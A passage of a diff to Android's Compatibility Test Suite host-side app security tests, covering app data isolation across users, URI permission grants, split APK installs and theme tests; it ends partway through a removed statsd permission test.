+per-file *Storage* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Documents* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
+per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 08581f6..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -18,10 +18,10 @@
import static android.appsecurity.cts.Utils.waitForBootCompleted;
-import static com.google.common.truth.Truth.assertThat;
-
import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,11 +30,13 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
-import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.HashMap;
+import java.util.Map;
+
/**
* Set of tests that verify app data isolation works.
*/
@@ -44,6 +46,7 @@
private static final String APPA_APK = "CtsAppDataIsolationAppA.apk";
private static final String APP_SHARED_A_APK = "CtsAppDataIsolationAppSharedA.apk";
private static final String APP_DIRECT_BOOT_A_APK = "CtsAppDataIsolationAppDirectBootA.apk";
+ private static final String APP_API29_A_APK = "CtsAppDataIsolationAppApi29A.apk";
private static final String APPA_PKG = "com.android.cts.appdataisolation.appa";
private static final String APPA_CLASS =
"com.android.cts.appdataisolation.appa.AppATests";
@@ -76,8 +79,6 @@
private static final String FBE_MODE_NATIVE = "native";
private static final String FBE_MODE_EMULATED = "emulated";
- private static final String CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE =
- "getprop persist.sys.vold_app_data_isolation_enabled";
private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -92,6 +93,12 @@
"testAppAExternalDirsDoExist";
private static final String APPA_METHOD_CHECK_EXTERNAL_DIRS_UNAVAILABLE =
"testAppAExternalDirsUnavailable";
+ private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT =
+ "testOtherUserDirsNotPresent";
+ private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE =
+ "testOtherUserDirsNotAccessible";
+
+ private int mOtherUser = -1;
@Before
public void setUp() throws Exception {
@@ -102,19 +109,13 @@
@After
public void tearDown() throws Exception {
+ if (mOtherUser != -1) {
+ getDevice().removeUser(mOtherUser);
+ }
getDevice().uninstallPackage(APPA_PKG);
getDevice().uninstallPackage(APPB_PKG);
}
- private void forceStopPackage(String packageName) throws Exception {
- getDevice().executeShellCommand("am force-stop " + packageName);
- }
-
- private void reboot() throws Exception {
- getDevice().reboot();
- waitForBootCompleted(getDevice());
- }
-
@Test
public void testAppAbleToAccessItsDataAfterForceStop() throws Exception {
// Install AppA and verify no data stored
@@ -176,19 +177,12 @@
runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
}
- private boolean isFbeModeEmulated() throws Exception {
- String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
- if (mode.equals(FBE_MODE_EMULATED)) {
- return true;
- } else if (mode.equals(FBE_MODE_NATIVE)) {
- return false;
- }
- fail("Unknown FBE mode: " + mode);
- return false;
- }
-
@Test
public void testDirectBootModeWorks() throws Exception {
+ if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+ LogUtil.CLog.d("Device is NOT encrypted with file-based encryption. skipping test");
+ return;
+ }
assumeTrue("Screen lock is not supported so skip direct boot test",
hasDeviceFeature("android.software.secure_lock_screen"));
// Install AppA and verify no data stored
@@ -214,7 +208,14 @@
// Setup screenlock
getDevice().executeShellCommand("settings put global require_password_to_decrypt 0");
getDevice().executeShellCommand("locksettings set-disabled false");
- getDevice().executeShellCommand("locksettings set-pin 12345");
+ String response = getDevice().executeShellCommand("locksettings set-pin 12345");
+ if (!response.contains("12345")) {
+ // This seems to fail occasionally. Try again once, then give up.
+ Thread.sleep(500);
+ response = getDevice().executeShellCommand("locksettings set-pin 12345");
+ assumeTrue("Test requires setting a pin, which failed: " + response,
+ response.contains("12345"));
+ }
// Give enough time for vold to update keys
Thread.sleep(15000);
@@ -332,13 +333,6 @@
runDeviceTests(APPB_PKG, APPB_CLASS, APPB_METHOD_CAN_ACCESS_APPA_EXTERNAL_DIRS);
}
- private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
- throws DeviceNotAvailableException {
- Assume.assumeThat(device.executeShellCommand(
- CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE).trim(),
- is("true"));
- }
-
@Test
public void testIsolatedProcess() throws Exception {
new InstallMultiple().addFile(APPA_APK).run();
@@ -352,4 +346,92 @@
new InstallMultiple().addFile(APPB_APK).run();
runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS);
}
+
+ @Test
+ public void testAppUnableToAccessOtherUserAppDataDir() throws Exception {
+ assumeCanCreateUser();
+ mOtherUser = getDevice().createUser("other_user");
+
+ // For targetSdk > 29, directories related to other users are not visible at all.
+ new InstallMultiple().addFile(APPA_APK).run();
+ new InstallMultiple().addFile(APPB_APK).run();
+ getDevice().startUser(mOtherUser, true /* wait */);
+ installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+ runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT,
+ makeOtherUserIdArgs(mOtherUser));
+ }
+
+ @Test
+ public void testAppUnableToAccessOtherUserAppDataDirApi29() throws Exception {
+ assumeCanCreateUser();
+ mOtherUser = getDevice().createUser("other_user");
+
+ // For targetSdk <= 29, directories related to other users are visible but we cannot
+ // access anything within them.
+ new InstallMultiple().addFile(APP_API29_A_APK).run();
+ new InstallMultiple().addFile(APPB_APK).run();
+ getDevice().startUser(mOtherUser, true /* wait */);
+ installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+ runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE,
+ makeOtherUserIdArgs(mOtherUser));
+ }
+
+ private void assumeCanCreateUser() throws DeviceNotAvailableException {
+ assumeTrue("Test requires multi-user support", mSupportsMultiUser);
+ // If we're already at the user limit, e.g. when running the test in a secondary user,
+ // then we can't create another one.
+ int currentUserCount = getDevice().listUsers().size();
+ assumeTrue("Test requires creating another user",
+ getDevice().getMaxNumberOfUsersSupported() > currentUserCount);
+ }
+
+ private void runDeviceTests(String pkgName, String testClassName, String testMethodName,
+ Map<String, String> instrumentationArgs) throws DeviceNotAvailableException {
+ runDeviceTests(getDevice(), null, pkgName, testClassName, testMethodName, null,
+ 10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, instrumentationArgs);
+ }
+
+ private Map<String, String> makeOtherUserIdArgs(int otherUser) {
+ Map<String, String> args = new HashMap<>();
+ args.put("other_user_id", Integer.toString(otherUser));
+ return args;
+ }
+
+ private void forceStopPackage(String packageName) throws Exception {
+ getDevice().executeShellCommand("am force-stop " + packageName);
+ }
+
+ private void reboot() throws Exception {
+ getDevice().reboot();
+ waitForBootCompleted(getDevice());
+ }
+
+ private void installExistingAppAsUser(String packageName, int userId) throws Exception {
+ final String installString =
+ "Package " + packageName + " installed for user: " + userId + "\n";
+ assertEquals(installString, getDevice().executeShellCommand(
+ "cmd package install-existing --full"
+ + " --user " + Integer.toString(userId)
+ + " " + packageName));
+ }
+
+ private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
+ throws DeviceNotAvailableException {
+ assumeThat(device.executeShellCommand(
+ "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
+ is("true"));
+ }
+
+ private boolean isFbeModeEmulated() throws Exception {
+ String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+ if (mode.equals(FBE_MODE_EMULATED)) {
+ return true;
+ } else if (mode.equals(FBE_MODE_NATIVE)) {
+ return false;
+ }
+ fail("Unknown FBE mode: " + mode);
+ return false;
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3bea273..92f4de5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.RestrictedBuildTest;
import android.platform.test.annotations.SecurityTest;
import com.android.ddmlib.Log;
@@ -187,7 +188,11 @@
/**
* Test that an app cannot instrument another app that is signed with different certificate.
*/
- @Test
+ // RestrictedBuildTest ensures the build only runs on user builds where the signature
+ // verification will be performed, but JUnit4TestNotRun reports the test will not be run because
+ // the method does not have the @Test annotation.
+ @SuppressWarnings("JUnit4TestNotRun")
+ @RestrictedBuildTest
@AppModeFull(reason = "'full' portion of the hostside test")
public void testInstrumentationDiffCert_full() throws Exception {
testInstrumentationDiffCert(false, false);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index d536ade..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,7 @@
}
}
+ @SecurityTest
public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
"testAfterMoveDocumentInStorage_revokeUriPermission");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 1c5ef4c..3dfeb1c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -510,35 +510,33 @@
@Test
public void testGrantUriPermission() throws Exception {
- doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{},
+ doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{});
+ doGrantUriPermission(MEDIA, "testGrantUriPermission",
+ new String[]{PERM_READ_EXTERNAL_STORAGE});
+ doGrantUriPermission(MEDIA, "testGrantUriPermission",
new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
- doGrantUriPermission(MEDIA, "testGrantUriPermission",
- new String[]{PERM_READ_EXTERNAL_STORAGE},
- new String[]{PERM_WRITE_EXTERNAL_STORAGE});
- doGrantUriPermission(MEDIA, "testGrantUriPermission",
- new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE},
- new String[] {});
}
@Test
public void testGrantUriPermission29() throws Exception {
- doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{},
+ doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{});
+ doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+ new String[]{PERM_READ_EXTERNAL_STORAGE});
+ doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
- doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
- new String[]{PERM_READ_EXTERNAL_STORAGE},
- new String[]{PERM_WRITE_EXTERNAL_STORAGE});
- doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
- new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE},
- new String[] {});
}
- private void doGrantUriPermission(Config config, String method, String[] grantPermissions,
- String[] revokePermissions) throws Exception {
+ private void doGrantUriPermission(Config config, String method, String[] grantPermissions)
+ throws Exception {
uninstallPackage(config.apk);
installPackage(config.apk);
for (int user : mUsers) {
+ // Over revoke all permissions and grant necessary permissions later.
+ updatePermissions(config.pkg, user, new String[] {
+ PERM_READ_EXTERNAL_STORAGE,
+ PERM_WRITE_EXTERNAL_STORAGE,
+ }, false);
updatePermissions(config.pkg, user, grantPermissions, true);
- updatePermissions(config.pkg, user, revokePermissions, false);
runDeviceTests(config.pkg, config.clazz, method, user);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
index e241668..e0fe368 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -16,6 +16,7 @@
package android.appsecurity.cts;
+import android.platform.test.annotations.SecurityTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -64,6 +65,7 @@
"testCannotEscalateNonRuntimePermissionsToRuntime");
}
+ @SecurityTest
public void testNoPermissionEscalationAfterReboot() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 8433aa7..628f8dd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -288,14 +288,14 @@
}
private void deviceRequestLskf() throws Exception {
- String res = getDevice().executeShellCommand("cmd recovery request-lskf cts-test1");
+ String res = getDevice().executeShellCommand("cmd recovery request-lskf " + PKG);
if (res == null || !res.contains("success")) {
fail("could not set up recovery request-lskf");
}
}
private void deviceClearLskf() throws Exception {
- String res = getDevice().executeShellCommand("cmd recovery clear-lskf");
+ String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + PKG);
if (res == null || !res.contains("success")) {
fail("could not clear-lskf");
}
@@ -326,7 +326,8 @@
}
private void deviceRebootAndApply() throws Exception {
- String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply cts-test1 cts-test");
+ String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + PKG
+ + " cts-test");
if (res != null && res.contains("Reboot and apply status: failure")) {
fail("could not call reboot-and-apply");
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3c8b4a6..45f6f4b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -39,7 +39,7 @@
static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
- static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+ static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +53,7 @@
static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
private static final String APK_v7 = "CtsSplitApp_v7.apk";
+ private static final String APK_v23 = "CtsSplitApp_v23.apk";
private static final String APK_fr = "CtsSplitApp_fr.apk";
private static final String APK_de = "CtsSplitApp_de.apk";
@@ -73,8 +74,15 @@
private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
- private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
- private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+ private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+ private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+ private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+ private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+ private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+ private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+ private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
@@ -452,44 +460,65 @@
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testFeatureBase_full() throws Exception {
- testFeatureBase(false);
+ public void testFeatureWarmBase_full() throws Exception {
+ testFeatureWarmBase(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testFeatureBase_instant() throws Exception {
- testFeatureBase(true);
+ public void testFeatureWarmBase_instant() throws Exception {
+ testFeatureWarmBase(true);
}
- private void testFeatureBase(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
- runDeviceTests(PKG, CLASS, "testFeatureBase");
+ private void testFeatureWarmBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testFeatureApi_full() throws Exception {
- testFeatureApi(false);
+ public void testFeatureWarmApi_full() throws Exception {
+ testFeatureWarmApi(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testFeatureApi_instant() throws Exception {
- testFeatureApi(true);
+ public void testFeatureWarmApi_instant() throws Exception {
+ testFeatureWarmApi(true);
}
- private void testFeatureApi(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
- runDeviceTests(PKG, CLASS, "testFeatureApi");
+ private void testFeatureWarmApi(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v7).run();
+ runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testInheritUpdatedBase() throws Exception {
- // TODO: flesh out this test
+ public void testInheritUpdatedBase_full() throws Exception {
+ testInheritUpdatedBase(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testInheritUpdatedBase_instant() throws Exception {
+ testInheritUpdatedBase(true);
+ }
+ public void testInheritUpdatedBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+ runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
}
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testInheritUpdatedSplit() throws Exception {
- // TODO: flesh out this test
+ public void testInheritUpdatedSplit_full() throws Exception {
+ testInheritUpdatedSplit(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testInheritUpdatedSplit_instant() throws Exception {
+ testInheritUpdatedSplit(true);
+ }
+ private void testInheritUpdatedSplit(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+ runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
}
@Test
@@ -535,17 +564,17 @@
@Test
@AppModeFull(reason = "'full' portion of the hostside test")
- public void testRequiredSplitInstalledFeature_full() throws Exception {
- testRequiredSplitInstalledFeature(false);
+ public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+ testRequiredSplitInstalledFeatureWarm(false);
}
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
- public void testRequiredSplitInstalledFeature_instant() throws Exception {
- testRequiredSplitInstalledFeature(true);
+ public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+ testRequiredSplitInstalledFeatureWarm(true);
}
- private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
- new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
- .run();
+ private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+ .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
}
@Test
@@ -577,11 +606,11 @@
// start with a base and two splits
new InstallMultiple(instant)
.addFile(APK_NEED_SPLIT_BASE)
- .addFile(APK_NEED_SPLIT_FEATURE)
+ .addFile(APK_NEED_SPLIT_FEATURE_WARM)
.addFile(APK_NEED_SPLIT_CONFIG)
.run();
// it's okay to remove one of the splits
- new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature").run();
+ new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
// but, not to remove all of them
new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
.runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
@@ -606,4 +635,128 @@
new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
runDeviceTests(PKG, CLASS, "testCodeCacheRead");
}
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installBase_full() throws Exception {
+ testTheme_installBase(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installBase_instant() throws Exception {
+ testTheme_installBase(true);
+ }
+ private void testTheme_installBase(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installBaseV23_full() throws Exception {
+ testTheme_installBaseV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installBaseV23_instant() throws Exception {
+ testTheme_installBaseV23(true);
+ }
+ private void testTheme_installBaseV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarm_full() throws Exception {
+ testTheme_installFeatureWarm(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarm_instant() throws Exception {
+ testTheme_installFeatureWarm(true);
+ }
+ private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_full() throws Exception {
+ testTheme_installFeatureWarmV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_instant() throws Exception {
+ testTheme_installFeatureWarmV23(true);
+ }
+ private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v23).run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+ testTheme_installFeatureWarmV23_removeV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+ testTheme_installFeatureWarmV23_removeV23(true);
+ }
+ private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_WARM_v23).run();
+ new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+ .removeSplit("feature_warm.config.v23").run();
+ runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+ testTheme_installFeatureWarmAndRose(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+ testTheme_installFeatureWarmAndRose(true);
+ }
+ private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+ .addFile(APK_FEATURE_ROSE).run();
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+ }
+
+ @Test
+ @AppModeFull(reason = "'full' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+ testTheme_installFeatureWarmAndRoseV23(false);
+ }
+ @Test
+ @AppModeInstant(reason = "'instant' portion of the hostside test")
+ public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+ testTheme_installFeatureWarmAndRoseV23(true);
+ }
+ private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+ new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+ .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+ .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+ runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
index 4b260b1..7d46320 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
@@ -95,49 +95,6 @@
assertThat(verifiedKnowRoleState).isTrue();
}
- @Test
- public void testDangerousPermissionState() throws Exception {
- final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
- final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
-
- // Set up what to collect
- ConfigUtils.uploadConfigForPulledAtom(getDevice(), STATSD_APP_PKG,
- AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
- boolean verifiedKnowPermissionState = false;
-
- // Pull a report
- AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
- int testAppId = getAppId(DeviceUtils.getAppUid(getDevice(), STATSD_APP_PKG));
-
- for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
- AtomsProto.DangerousPermissionState permissionState =
- atom.getDangerousPermissionState();
-
- assertThat(permissionState.getPermissionName()).isNotNull();
- assertThat(permissionState.getUid()).isAtLeast(0);
